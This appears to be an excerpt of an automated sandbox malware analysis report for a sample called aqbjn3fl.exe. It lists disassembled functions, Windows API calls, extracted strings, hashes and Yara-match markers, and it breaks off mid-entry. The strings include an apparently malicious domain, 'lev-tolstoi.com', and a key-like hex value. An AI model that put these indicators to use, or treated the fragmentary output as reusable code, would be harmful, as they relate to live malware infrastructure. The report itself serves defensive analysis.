Instruction Fuzzy Hash: 6F41AF34A44259ABCF10EF6CD880B9EBBA5AF85314F14C156F8149B392D731EE01CB91

Function 009DC8BA Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,00000000,00000800,00000000,00000000,?,C08A5289,?,009DC9C9,?,009B782F,00000000,00000000), ref: 009DC97B

Strings

ext-ms-, xrefs: 009DC925
api-ms-, xrefs: 009DC911

Memory Dump Source

Source File: 00000000.00000002.1511460050.00000000009B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009B0000, based on PE: true

Associated: 00000000.00000002.1511440506.00000000009B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511494690.00000000009E7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511510689.00000000009ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511528794.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511549299.00000000009F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511570424.00000000009F3000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b0000_aqbjn3fl.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: c9cbeed89918db6b695b189d72dcfdada3cc479d4ee8d7ffa6f6ab45eb97ad33
Instruction ID: 66a83e24d1409f536e13252f7c4ac6aa1743ce3f026f7058a0544a662e4eddad
Opcode Fuzzy Hash: c9cbeed89918db6b695b189d72dcfdada3cc479d4ee8d7ffa6f6ab45eb97ad33
Instruction Fuzzy Hash: 052157F1E98212A7CB21AB659C90B5B371CAF81BA0F208622F955BB3C0D730FD01D6D1

Function 009DC15E Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,009DC155,009D9C3D,009D9834), ref: 009DC16C
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 009DC17A
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 009DC193
SetLastError.KERNEL32(00000000,009DC155,009D9C3D,009D9834), ref: 009DC1E5

Memory Dump Source

Source File: 00000000.00000002.1511460050.00000000009B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009B0000, based on PE: true

Associated: 00000000.00000002.1511440506.00000000009B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511494690.00000000009E7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511510689.00000000009ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511528794.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511549299.00000000009F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511570424.00000000009F3000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b0000_aqbjn3fl.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 76dfc59a7bf985a58d17938167a2c9bddfec54119154084585c1bfdbaa5562fc
Instruction ID: 3b5980a8cb47b57bd4344be61ef45c5ebb64b2f8a828d9ace45fdb57aa5367cb
Opcode Fuzzy Hash: 76dfc59a7bf985a58d17938167a2c9bddfec54119154084585c1bfdbaa5562fc
Instruction Fuzzy Hash: F40190B215D3735EEE1517B56CC2E1A2748DB91B79720423BF428853E2EF514C00E554

Function 009DFAD4 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79COMMON

Download Yara Rule

Strings

C:\Users\user\Desktop\aqbjn3fl.exe, xrefs: 009DFAF0

Memory Dump Source

Source File: 00000000.00000002.1511460050.00000000009B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009B0000, based on PE: true

Associated: 00000000.00000002.1511440506.00000000009B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511494690.00000000009E7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511510689.00000000009ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511528794.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511549299.00000000009F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511570424.00000000009F3000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b0000_aqbjn3fl.jbxd

Similarity

API ID:
String ID: C:\Users\user\Desktop\aqbjn3fl.exe
API String ID: 0-1266579001
Opcode ID: 6de56e3b82d097439ad9a528eb05641e23434a2782c54f57bf70e5b112b61d8d
Instruction ID: 34075c86bb6394f81f0d1b65a61f6096e0b5b793138b5f7e46244cfac6614692
Opcode Fuzzy Hash: 6de56e3b82d097439ad9a528eb05641e23434a2782c54f57bf70e5b112b61d8d
Instruction Fuzzy Hash: C7219F71680206BF9B20AFA5DCA3D6A77ACAF84364710C537F91E8B351E734EC4097A0

Function 009DA945 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,C08A5289,?,?,00000000,009E63CE,000000FF,?,009DAA06,?,?,009DAAA2,788496A7), ref: 009DA97A
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 009DA98C
FreeLibrary.KERNEL32(00000000,?,00000000,009E63CE,000000FF,?,009DAA06,?,?,009DAAA2,788496A7), ref: 009DA9AE

Strings

mscoree.dll, xrefs: 009DA973
CorExitProcess, xrefs: 009DA984

Memory Dump Source

Source File: 00000000.00000002.1511460050.00000000009B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009B0000, based on PE: true

Associated: 00000000.00000002.1511440506.00000000009B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511494690.00000000009E7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511510689.00000000009ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511528794.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511549299.00000000009F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511570424.00000000009F3000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b0000_aqbjn3fl.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 03e63a7a483130a444534f32d3ae5dc517ac12f9553a6a98da6e676d6a347e2f
Instruction ID: 5eeab7ed1a8a938fdd05bcec7fe594f55f3973b4ffc5ee50f5e297b8e4b9a0af
Opcode Fuzzy Hash: 03e63a7a483130a444534f32d3ae5dc517ac12f9553a6a98da6e676d6a347e2f
Instruction Fuzzy Hash: 14012671A54299EFDB028F40CC49FAEBBB8FB44B15F004626F821A63E0DB749C00CB91

Function 009E2A08 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 114COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,?,009E290E,?,?,00000000,00000000,00000000,?), ref: 009E2A2D
CatchIt.LIBVCRUNTIME ref: 009E2B13

Strings

MOC, xrefs: 009E2A3F
RCC, xrefs: 009E2A47

Memory Dump Source

Source File: 00000000.00000002.1511460050.00000000009B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009B0000, based on PE: true

Associated: 00000000.00000002.1511440506.00000000009B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511494690.00000000009E7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511510689.00000000009ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511528794.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511549299.00000000009F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511570424.00000000009F3000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b0000_aqbjn3fl.jbxd

Similarity

API ID: CatchEncodePointer
String ID: MOC$RCC
API String ID: 1435073870-2084237596
Opcode ID: f59ae0f04ca5259ec5faae36d13f87805ac2247026717fb7e1e70d9db9dc169b
Instruction ID: 7d96d1b33e07dd65d7b5a8941a00d47eb62552b0d8542e669d708044a81a24a3
Opcode Fuzzy Hash: f59ae0f04ca5259ec5faae36d13f87805ac2247026717fb7e1e70d9db9dc169b
Instruction Fuzzy Hash: 6C416871900249AFCF26DF95CD81AEEBBB9FF48304F18806AF904A7252D375AD50DB91

Function 009E0C42 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(788496A7,00000000,00000800,?,009E0CDE,?,?,?,?,?,?,009E0B26,00000000,FlsAlloc,009E8060,009E8068), ref: 009E0C4F
GetLastError.KERNEL32(?,009E0CDE,?,?,?,?,?,?,009E0B26,00000000,FlsAlloc,009E8060,009E8068,?,?,009DC10C), ref: 009E0C59
LoadLibraryExW.KERNEL32(788496A7,00000000,00000000,?,788496A7,?,?,?,?,009DBDAC,?,?,009C3066,?,00000000,788496A7), ref: 009E0C81

Strings

api-ms-, xrefs: 009E0C66

Memory Dump Source

Source File: 00000000.00000002.1511460050.00000000009B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009B0000, based on PE: true

Associated: 00000000.00000002.1511440506.00000000009B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511494690.00000000009E7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511510689.00000000009ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511528794.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511549299.00000000009F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511570424.00000000009F3000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b0000_aqbjn3fl.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: f9f3bfb887ca9e8092ee2bf5543fdbd234bf639805c837c01febd44f467c315d
Instruction ID: 52325b3c5bc9913cd79ab86c97193e8619a04413014817fb84f064ae18ab717c
Opcode Fuzzy Hash: f9f3bfb887ca9e8092ee2bf5543fdbd234bf639805c837c01febd44f467c315d
Instruction Fuzzy Hash: 51E04870694244FBDB111BA2DD47B1A3F599B80B40F244120FA8CAC1E1E7A2FC5195D9

Function 009E159F Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(C08A5289,00000000,00000000,?), ref: 009E1602

Part of subcall function 009E012E: WideCharToMultiByte.KERNEL32(?,00000000,009C3066,00000000,00000000,00000000,000000FF,?,?,00000000,009C3066,?,009DC091,?,00000000,?), ref: 009E018F

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 009E1854
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 009E189A
GetLastError.KERNEL32 ref: 009E193D

Memory Dump Source

Source File: 00000000.00000002.1511460050.00000000009B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009B0000, based on PE: true

Associated: 00000000.00000002.1511440506.00000000009B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511494690.00000000009E7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511510689.00000000009ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511528794.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511549299.00000000009F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511570424.00000000009F3000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b0000_aqbjn3fl.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: bee3687920d1797ed91c9170aa3dee52fc4c3ce3363da4659d4294f0b7c9fd89
Instruction ID: e5005d7a1525dd526dc44ecc044cca91dc318d2661f3ff04dbad6bf136234f6b
Opcode Fuzzy Hash: bee3687920d1797ed91c9170aa3dee52fc4c3ce3363da4659d4294f0b7c9fd89
Instruction Fuzzy Hash: 26D17CB5D042889FCB16CFE9D890AEDBBB9FF49310F28452AE455EB352D630AD41CB50

Function 009E240C Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 009E24D3
___AdjustPointer.LIBCMT ref: 009E24F6
___AdjustPointer.LIBCMT ref: 009E2592

Memory Dump Source

Source File: 00000000.00000002.1511460050.00000000009B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009B0000, based on PE: true

Associated: 00000000.00000002.1511440506.00000000009B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511494690.00000000009E7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511510689.00000000009ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511528794.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511549299.00000000009F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511570424.00000000009F3000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b0000_aqbjn3fl.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 386ab643bd86498f53e5cae39d3e6168fae8621bcacf20178ddf18a7de8f45f0
Instruction ID: 9482c82e9f4d60ae32c9a6feff8b756ecf2f9bdab458d55fe95a552a617c1282
Opcode Fuzzy Hash: 386ab643bd86498f53e5cae39d3e6168fae8621bcacf20178ddf18a7de8f45f0
Instruction Fuzzy Hash: FB512772644686DFDB2A9F12D951B7AB7ADFF40310F24442DF846972A1EB31EC40D790

Function 009DF52E Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 009E012E: WideCharToMultiByte.KERNEL32(?,00000000,009C3066,00000000,00000000,00000000,000000FF,?,?,00000000,009C3066,?,009DC091,?,00000000,?), ref: 009E018F

GetLastError.KERNEL32(?,?,?,00000000,00000000,?,009DF8D4,?,?,?,00000000), ref: 009DF592
__dosmaperr.LIBCMT ref: 009DF599
GetLastError.KERNEL32(00000000,009DF8D4,?,?,00000000,?,?,?,00000000,00000000,?,009DF8D4,?,?,?,00000000), ref: 009DF5D3
__dosmaperr.LIBCMT ref: 009DF5DA

Memory Dump Source

Source File: 00000000.00000002.1511460050.00000000009B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009B0000, based on PE: true

Associated: 00000000.00000002.1511440506.00000000009B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511494690.00000000009E7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511510689.00000000009ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511528794.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511549299.00000000009F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511570424.00000000009F3000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b0000_aqbjn3fl.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: a317586bf46e9fdd55d2e2c96d6cee2b9c046a0549e9a20fcb6ace79cffe4414
Instruction ID: 9fc9dc228bff8ee323b5a3d5019edfe9db027e44c33787799ad11fc5d0f5654a
Opcode Fuzzy Hash: a317586bf46e9fdd55d2e2c96d6cee2b9c046a0549e9a20fcb6ace79cffe4414
Instruction Fuzzy Hash: 3721D475684205AFDB10AF65E89297BB7ACFF80364714C53BF92A9B311E730ED409760

Function 009E022A Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 009E0232

Part of subcall function 009E012E: WideCharToMultiByte.KERNEL32(?,00000000,009C3066,00000000,00000000,00000000,000000FF,?,?,00000000,009C3066,?,009DC091,?,00000000,?), ref: 009E018F

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 009E026A
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 009E028A

Memory Dump Source

Source File: 00000000.00000002.1511460050.00000000009B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009B0000, based on PE: true

Associated: 00000000.00000002.1511440506.00000000009B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511494690.00000000009E7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511510689.00000000009ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511528794.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511549299.00000000009F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511570424.00000000009F3000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b0000_aqbjn3fl.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: 5bcbb0f445cda887ee774e346dccfd0fbc036a46e23c47968a32eeb51901b51e
Instruction ID: f3f97f9cc7fe610176eaa8417780f37e8a749ba65caec211bb4293d756301f52
Opcode Fuzzy Hash: 5bcbb0f445cda887ee774e346dccfd0fbc036a46e23c47968a32eeb51901b51e
Instruction Fuzzy Hash: 731166F290A6867EA71227739CCDC7F699CCEC63A87000021F902D6301EAB4DD819170

Function 009E4420 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,00000000,?,009E3C02,00000000,00000001,00000000,?,?,009E1991,?,00000000,00000000), ref: 009E4437
GetLastError.KERNEL32(?,009E3C02,00000000,00000001,00000000,?,?,009E1991,?,00000000,00000000,?,?,?,009E12D7,00000000), ref: 009E4443

Part of subcall function 009E44A0: CloseHandle.KERNEL32(FFFFFFFE,009E4453,?,009E3C02,00000000,00000001,00000000,?,?,009E1991,?,00000000,00000000,?,?), ref: 009E44B0

___initconout.LIBCMT ref: 009E4453

Part of subcall function 009E4475: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,009E4411,009E3BEF,?,?,009E1991,?,00000000,00000000,?), ref: 009E4488

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,?,009E3C02,00000000,00000001,00000000,?,?,009E1991,?,00000000,00000000,?), ref: 009E4468

Memory Dump Source

Source File: 00000000.00000002.1511460050.00000000009B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009B0000, based on PE: true

Associated: 00000000.00000002.1511440506.00000000009B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511494690.00000000009E7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511510689.00000000009ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511528794.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511549299.00000000009F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511570424.00000000009F3000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b0000_aqbjn3fl.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 7ca164bed6218933b54e5948ec24d4f21324904785a5dae8d435fb7a8412ad6b
Instruction ID: 03f3d2302df40bcd8bebf8db15955755eb8e74146d4049c308592abf015e92a4
Opcode Fuzzy Hash: 7ca164bed6218933b54e5948ec24d4f21324904785a5dae8d435fb7a8412ad6b
Instruction Fuzzy Hash: C1F01C36515294BBCF231FD2EC48A993F6BEF487A1B014010FA6889270E732CC21EB90

Function 009E227C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 93COMMONLIBRARYCODE

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 009E2285

Strings

csm, xrefs: 009E22A7
csm, xrefs: 009E2318

Memory Dump Source

Source File: 00000000.00000002.1511460050.00000000009B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009B0000, based on PE: true

Associated: 00000000.00000002.1511440506.00000000009B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511494690.00000000009E7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511510689.00000000009ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511528794.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511549299.00000000009F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511570424.00000000009F3000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b0000_aqbjn3fl.jbxd

Similarity

API ID: ___except_validate_context_record
String ID: csm$csm
API String ID: 3493665558-3733052814
Opcode ID: 94024c18b831c8219928743c753b0bd03d0c391a15678ef90d4ad782970b0bc5
Instruction ID: 03b7ccf173ae900599566c9ba4062f4e37e510d10444d69be67fd6d1427e22e7
Opcode Fuzzy Hash: 94024c18b831c8219928743c753b0bd03d0c391a15678ef90d4ad782970b0bc5
Instruction Fuzzy Hash: 7431B372400295EBCF278F52CC4496E7B6EFF09B15B18865AF95849221D33ACC62DF91

Analysis Process: aqbjn3fl.exePID: 4260, Parent PID: 5360COMMON

Execution Graph

Execution Coverage:	1.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	49.1%
Total number of Nodes:	57
Total number of Limit Nodes:	4

Executed Functions

Function 00439310 Relevance: 26.9, APIs: 11, Strings: 4, Instructions: 660
memorycomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoCreateInstance.OLE32(00443678,00000000,00000001,00443668,00000000), ref: 0043940C
SysAllocString.OLEAUT32(81578756), ref: 004394A4
CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 004394E9
SysAllocString.OLEAUT32(7F0F7903), ref: 00439546
SysAllocString.OLEAUT32(F7ABF957), ref: 0043961A
VariantInit.OLEAUT32(?), ref: 0043968A

Strings

\, xrefs: 004393C7
0}bc, xrefs: 004394FF
(), xrefs: 004395AE
C, xrefs: 004393BC

Memory Dump Source

Source File: 00000003.00000002.1592231634.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aqbjn3fl.jbxd

Yara matches

Similarity

API ID: AllocString$BlanketCreateInitInstanceProxyVariant
String ID: ()$0}bc$C$\
API String ID: 65563702-1726517784
Opcode ID: 0f1222683775ae3621506ccc1600d945d457569e17fe956ef9e8c073e5d335ed
Instruction ID: 106669d51836f7a9ecf543ef8e50fb3cc3e0c611a8505fe8182dd2d3ee5b5c80
Opcode Fuzzy Hash: 0f1222683775ae3621506ccc1600d945d457569e17fe956ef9e8c073e5d335ed
Instruction Fuzzy Hash: 872260B2A083009BD714DF24C845B6BBBA6EFCA714F18492DF4859B3C1D7B8D905CB96

Function 0040CEF5 Relevance: 12.8, Strings: 10, Instructions: 293
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

lev-tolstoi.com, xrefs: 0040D328
^GFA, xrefs: 0040D236
39my, xrefs: 0040CFDC
c^.z, xrefs: 0040D08A
+"#R, xrefs: 0040CFC6
.$[", xrefs: 0040CFB0
-0p#, xrefs: 0040CFD1
57B63D703EDF52FC63CFCF7E6C45F838, xrefs: 0040CF3E
6(S", xrefs: 0040CFBB
~sx=, xrefs: 0040CFE7

Memory Dump Source

Source File: 00000003.00000002.1592231634.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aqbjn3fl.jbxd

Yara matches

Similarity

API ID:
String ID: +"#R$-0p#$.$["$39my$57B63D703EDF52FC63CFCF7E6C45F838$6(S"$^GFA$c^.z$lev-tolstoi.com$~sx=
API String ID: 0-506659880
Opcode ID: a663be38480a963e4d2d2571437e5508161d23da234ca0242be0d579f13188ba
Instruction ID: a1ac22f4ca37b83a265b626796eb772592280569a4fa714ec55360a40b349c43
Opcode Fuzzy Hash: a663be38480a963e4d2d2571437e5508161d23da234ca0242be0d579f13188ba
Instruction Fuzzy Hash: 84A1E27058C3C28FD3358F6585917EBBBE1AF92314F18997DC4D99B281DB78040A8B97

Function 00408F20 Relevance: 7.7, APIs: 5, Instructions: 171
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SHGetSpecialFolderPathW.SHELL32(00000000,?,00000010,00000000), ref: 00408F42
GetCurrentThreadId.KERNEL32 ref: 00408F55
GetCurrentProcessId.KERNEL32 ref: 00408F5D
GetForegroundWindow.USER32 ref: 0040902C

Part of subcall function 0040CE90: CoInitializeEx.COMBASE(00000000,00000002), ref: 0040CEA3

Part of subcall function 0040BD80: FreeLibrary.KERNEL32(00409141), ref: 0040BD86
Part of subcall function 0040BD80: FreeLibrary.KERNEL32 ref: 0040BDA7

ExitProcess.KERNEL32 ref: 00409148

Memory Dump Source

Source File: 00000003.00000002.1592231634.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aqbjn3fl.jbxd

Yara matches

Similarity

API ID: CurrentFreeLibraryProcess$ExitFolderForegroundInitializePathSpecialThreadWindow
String ID:
API String ID: 3072701918-0
Opcode ID: 64b5476fa3e9b2d508b38f129390cd5264c67d7df292d80a79dc2a0f4b5f57c9
Instruction ID: bdcd889f703e52059c7ab9e58482e3198cbf6fc767073c2214d38ecf418ed339
Opcode Fuzzy Hash: 64b5476fa3e9b2d508b38f129390cd5264c67d7df292d80a79dc2a0f4b5f57c9
Instruction Fuzzy Hash: 0A5167B7B443044BD318AEA6CC863AAF9979BC8315F0E903D5980DB391EEBD9C0541C8

Function 0040BDB0 Relevance: 7.6, Strings: 6, Instructions: 101
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

m?i!, xrefs: 0040BFC7
[:], xrefs: 0040BE19
AK, xrefs: 0040BF2D
J's), xrefs: 0040BFDD
u#{%, xrefs: 0040BFD2
~+*-, xrefs: 0040BFE8

Memory Dump Source

Source File: 00000003.00000002.1592231634.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aqbjn3fl.jbxd

Yara matches

Similarity

API ID:
String ID: AK$J's)$m?i!$u#{%$~+*-$[:]
API String ID: 0-2167574748
Opcode ID: 8b7eb5dfa94aac8796ead674e4283efcaa36dc3fedf3aa51b2c943f31bb2597f
Instruction ID: 268bcdcb352750d0d86359c6fec1c620c05b0e096526288d619aa41b5e38ca3b
Opcode Fuzzy Hash: 8b7eb5dfa94aac8796ead674e4283efcaa36dc3fedf3aa51b2c943f31bb2597f
Instruction Fuzzy Hash: C251DDB45593848BE3748F118482B8FBBB1FB92300F548A1CE6D86B794DBB84446CF97

Function 0043E470 Relevance: 1.5, APIs: 1, Instructions: 14
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL(0041173D), ref: 0043E49E

Memory Dump Source

Source File: 00000003.00000002.1592231634.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aqbjn3fl.jbxd

Yara matches

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction ID: 0c3231226d6b2b3a527619dcc08e6164a4fafcc19f94aab6dc14dc2c5ea58878
Opcode Fuzzy Hash: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction Fuzzy Hash: A2E0FE75908316AF9A08CF45C14444EFBE5BFC4714F11CC8DA4D863210D3B0AD46DF82

Function 0040A874 Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

